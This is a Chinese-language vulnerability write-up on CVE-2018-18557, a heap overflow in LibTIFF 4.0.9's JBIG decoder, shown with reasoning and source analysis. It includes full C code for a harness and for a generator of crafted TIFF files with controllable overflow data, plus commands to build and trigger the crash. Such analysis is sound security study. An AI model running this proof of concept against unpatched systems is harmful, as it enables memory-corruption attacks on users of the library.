分析CVE-2018-18557與復現
前言
LibTIFF 4.0.9 (with JBIG enabled) decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size, which leads to a tif_jbig.c JBIGDecode out-of-bounds write.
該cve發生在LibTIFF 4.0.9版本中,由于在解碼JBIG的時候沒有對size 進行驗證,在JBIGDecode函數中會造成大量數據的堆溢出
編譯安裝
為了復現該漏洞,需要使得LibTIFF 支持jbig解碼功能,所以需要先安裝libjbig-dev
sudo apt-get install libjbig-dev
然后編譯安裝LibTIFF 4.0.9,鏈接在此
./configure --prefix=/xxxx/xxx/build
make && make install
tiff文件格式
TIFF是Tagged Image File Format的縮寫 , 標簽圖像文件格式
TIFF與其他文件格式最大的不同在于除了圖像數據,它還可以記錄很多圖像的其他信息。它記錄圖像數據的方式也比較靈活, 理論上來說, 任何其他的圖像格式都能為TIFF所用, 嵌入到TIFF里面。比如JPEG, Lossless JPEG, JPEG2000和任意數據寬度的原始無壓縮數據都可以方便的嵌入到TIFF中去。由于它的可擴展性, TIFF在數字影響、遙感、醫學等領域中得到了廣泛的應用。TIFF文件的后綴是.tif或者.tiff
Tiff的結構大概是這樣的組成:
文件頭信息區(IFH)、圖像文件目錄(IFD)和圖像數據區
而IFD又包含了很多DE( Directory Entry )
簡單的說,IFD用于存儲描述圖像的屬性信息,如圖像的 長、寬、分辨率等 ,DE就是一個個不同屬性描述。而圖像數據區則直接存儲像素信息的二進制數據
這里只做簡單介紹,詳細可見: https://www.jianshu.com/p/ff32eb09ed3d
可以下載他的tiff例子,載入010editor中跟著看,對了解tiff非常有幫助
觸發漏洞
參考了一波 https://www.exploit-db.com/exploits/45694
但發現這上面所謂的poc,只能說是一個用于生成觸發漏洞tiff文件的代碼而已,那具體怎么使用libtiff的代碼才能觸發漏洞,這還得俺自己動手寫
通過調試+源碼查看,分析函數調用,真正的poc如下
#include#include "tiffio.h" int main(int argc, char const *argv[]) { if (argc<2) { printf("usage: %s \n",argv[0]); return -1; } TIFF* tif = TIFFOpen(argv[1], "r"); if (tif) { tdata_t buf; tstrip_t strip; buf = _TIFFmalloc(TIFFStripSize(tif)); for (strip = 0; strip < TIFFNumberOfStrips(tif); strip++) TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1); puts("it will crash,because heap space has been overflow:\n"); _TIFFfree(buf);//<<< crash! TIFFClose(tif); } } //gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz
編譯poc:
gcc ./poc.c -g -o poc -I ./build/include/ -L ./build/lib/ ./build/lib/libtiff.a -ljbig -lm -lz
這里 使用局部靜態鏈接,只靜態鏈接libtiff,而對其他庫如libjbig、libmath、zlibc等使用動態鏈接,這是為了在調試的時候能直接源碼級調試
然后編譯exp-db的“testcase_generator.c”
gcc testcase_generator.c -g -o testcase_generator -ljbig
#include#include #include #include #include "jbig.h" void output_bie(unsigned char *start, size_t len, void *file) { fwrite(start, 1, len, (FILE *) file); return; } int main(int argc, char**argv) { FILE* inputfile = fopen(argv[1], "rb"); FILE* outputfile = fopen(argv[2], "wb"); // Write the hacky TIF header. unsigned char buf[] = { 0x49, 0x49, // Identifier. 0x2A, 0x00, // Version. 0xCA, 0x03, 0x00, 0x00, // First IFD offset. 0x32, 0x30, 0x30, 0x31, 0x3a, 0x31, 0x31, 0x3a, 0x32, 0x37, 0x20, 0x32, 0x31, 0x3a, 0x34, 0x30, 0x3a, 0x32, 0x38, 0x00, 0x38, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00 }; fwrite(&(buf[0]), sizeof(buf), 1, outputfile); // Read the inputfile. struct stat st; stat(argv[1], &st); size_t size = st.st_size; unsigned char* data = malloc(size); fread(data, size, 1, inputfile); // Calculate how many "pixels" we have in the input. unsigned char *bitmaps[1] = { data }; struct jbg_enc_state se; jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile); jbg_enc_out(&se); jbg_enc_free(&se); // The raw JBIG data has been written, now write the IFDs for the TIF file. unsigned char ifds[] = { 0x0E, 0x00, // Number of entries. +0 0xFE, 0x00, // Subfile type. +2 0x04, 0x00, // Datatype: LONG. +6 0x01, 0x00, 0x00, 0x00, // 1 element. +10 0x00, 0x00, 0x00, 0x00, // 0 +14 0x00, 0x01, // IMAGE_WIDTH +16 0x03, 0x00, // Datatype: SHORT. +18 0x01, 0x00, 0x00, 0x00, // 1 element. +22 0x96, 0x00, 0x00, 0x00, // 96 hex width. +26 0x01, 0x01, // IMAGE_LENGTH +28 0x03, 0x00, // SHORT +30 0x01, 0x00, 0x00, 0x00, // 1 element +34 0x96, 0x00, 0x00, 0x00, // 96 hex length. +38 0x02, 0x01, // BITS_PER_SAMPLE +40 0x03, 0x00, // SHORT +42 0x01, 0x00, 0x00, 0x00, // 1 element +46 0x01, 0x00, 0x00, 0x00, // 1 +50 0x03, 0x01, // COMPRESSION +52 0x03, 0x00, // SHORT +54 0x01, 0x00, 0x00, 0x00, // 1 element +58 0x65, 0x87, 0x00, 0x00, // JBIG +62 0x06, 0x01, // PHOTOMETRIC +64 0x03, 0x00, // SHORT +66 0x01, 0x00, 0x00, 0x00, // 1 element +70 0x00, 0x00, 0x00, 0x00, // / +74 0x11, 0x01, // STRIP_OFFSETS +78 0x04, 0x00, // LONG +80 0x13, 0x00, 0x00, 0x00, // 0x13 elements +82 0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86 0x15, 0x01, // SAMPLES_PER_PIXEL +90 0x03, 0x00, // SHORT +92 0x01, 0x00, 0x00, 0x00, // 1 element +94 0x01, 0x00, 0x00, 0x00, // 1 +98 0x16, 0x01, // ROWS_PER_STRIP +102 0x04, 0x00, // LONG +104 0x01, 0x00, 0x00, 0x00, // 1 element +106 0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110 0x17, 0x01, // STRIP_BYTE_COUNTS +114 0x04, 0x00, // LONG +116 0x13, 0x00, 0x00, 0x00, // 0x13 elements +118 0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122 0x1A, 0x01, // X_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 element 0x1C, 0x00, 0x00, 0x00, 0x1B, 0x01, // Y_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 Element 0x24, 0x00, 0x00, 0x00, 0x28, 0x01, // RESOLUTION_UNIT 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // 2 0x0A, 0x01, // FILL_ORDER 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // Bit order inverted. 0x00, 0x00, 0x00, 0x00 }; // Adjust the offset for the IFDs. uint32_t ifd_offset = ftell(outputfile); fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile); fseek(outputfile, 4, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); // Adjust the strip size properly. fseek(outputfile, ifd_offset + 118, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); fclose(outputfile); fclose(inputfile); return 0; }
它主要的作用是生成一個可發生堆溢出的tiff文件,且溢出內容可以由我們控制,如創建一個文本文件text,其內容大量填充為aaaa...
執行./testcase_generator text testcase.tif
這就會使得大量aaa數據通過JBIG壓縮方式被寫入testcase.tif文件中
接著執行poc:
./poc ./testcase.tif
成功觸發漏洞:
這里報錯是,free的時候發現該chunk的next size位異常,這種情況實際上是因為堆溢出太多數據,導致后續free的時候很多chunk被溢出篡改了數據,所以產生了這種報錯
漏洞分析
gdb調試
根據cve信息,我這里直接定位到 JBIGDecode函數,給他整個斷點
然后一步步nextcall
直到執行_TIFFmemcpy前
可以看到這個第三個參數就尼瑪離譜,完全沒有任何檢查,該長度就是之前的text文本文件中的字符數量,也就是字符a的個數
然后來康康這個堆空間0x657b60的大小,只有0xb30
而_TIFFmemcpy的length是0x26d0,巨大的堆溢出就是這么產生的
源碼分析
從poc.c結合libtiff來康康完整的函數調用鏈:
首先是TIFFReadEncodedStrip(tif, strip, buf, (tsize_t) -1);
在源碼中,TIFFReadEncodedStrip會調用JBIGDecode函數
TIFFReadEncodedStrip(TIFF* tif, uint32 strip, void* buf, tmsize_t size)
{
static const char module[] = "TIFFReadEncodedStrip";
TIFFDirectory *td = &tif->tif_dir;
tmsize_t stripsize;
uint16 plane;
stripsize=TIFFReadEncodedStripGetStripSize(tif, strip, &plane);
if (stripsize==((tmsize_t)(-1)))
return((tmsize_t)(-1));
/* shortcut to avoid an extra memcpy() */
if( td->td_compression == COMPRESSION_NONE &&
size!=(tmsize_t)(-1) && size >= stripsize &&
!isMapped(tif) &&
((tif->tif_flags&TIFF_NOREADRAW)==0) )
{
if (TIFFReadRawStrip1(tif, strip, buf, stripsize, module) != stripsize)
return ((tmsize_t)(-1));
if (!isFillOrder(tif, td->td_fillorder) &&
(tif->tif_flags & TIFF_NOBITREV) == 0)
TIFFReverseBits(buf,stripsize);
(*tif->tif_postdecode)(tif,buf,stripsize);
return (stripsize);
}
if ((size!=(tmsize_t)(-1))&&(sizetif_decodestrip)(tif,buf,stripsize,plane)<=0)//調用JBIGDecode
return((tmsize_t)(-1));
(*tif->tif_postdecode)(tif,buf,stripsize);
return(stripsize);
}
這里沒有明顯出現JBIGDecode函數名,但其實是用了函數指針的方法調用的
在TIFFInitJBIG函數中聲明了該函數指針:
int TIFFInitJBIG(TIFF* tif, int scheme)
{
assert(scheme == COMPRESSION_JBIG);
/*
* These flags are set so the JBIG Codec can control when to reverse
* bits and when not to and to allow the jbig decoder and bit reverser
* to write to memory when necessary.
*/
tif->tif_flags |= TIFF_NOBITREV;
tif->tif_flags &= ~TIFF_MAPPED;
/* Setup the function pointers for encode, decode, and cleanup. */
tif->tif_setupdecode = JBIGSetupDecode;
tif->tif_decodestrip = JBIGDecode;//<<<聲明
tif->tif_setupencode = JBIGSetupEncode;
tif->tif_encodestrip = JBIGEncode;
return 1;
}
最后來看JBIGDecode函數
static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s)
{
struct jbg_dec_state decoder;
int decodeStatus = 0;
unsigned char* pImage = NULL;
(void) size, (void) s;
if (isFillOrder(tif, tif->tif_dir.td_fillorder))
{
TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize);
}
jbg_dec_init(&decoder);
#if defined(HAVE_JBG_NEWLEN)
jbg_newlen(tif->tif_rawdata, (size_t)tif->tif_rawdatasize);
#endif /* HAVE_JBG_NEWLEN */
decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata,
(size_t)tif->tif_rawdatasize, NULL);
if (JBG_EOK != decodeStatus)
{
TIFFErrorExt(tif->tif_clientdata,
"JBIG", "Error (%d) decoding: %s",
decodeStatus,
#if defined(JBG_EN)
jbg_strerror(decodeStatus, JBG_EN)
#else
jbg_strerror(decodeStatus)
#endif
);
jbg_dec_free(&decoder);
return 0;
}
pImage = jbg_dec_getimage(&decoder, 0);
_TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder));
jbg_dec_free(&decoder);
return 1;
}
_TIFFmemcpy(void* d, const void* s, tmsize_t c)
{
memcpy(d, s, (size_t) c);
}
可以看到,這里對jbg_dec_getsize(&decoder)的返回值是完全沒有檢查的,而該函數是直接封裝到libjbig中的,它會直接從tiff文件中讀取長度,因此過長的長度也不會被檢查出來,由此引發堆溢出的漏洞




浙公網安備 33010602011771號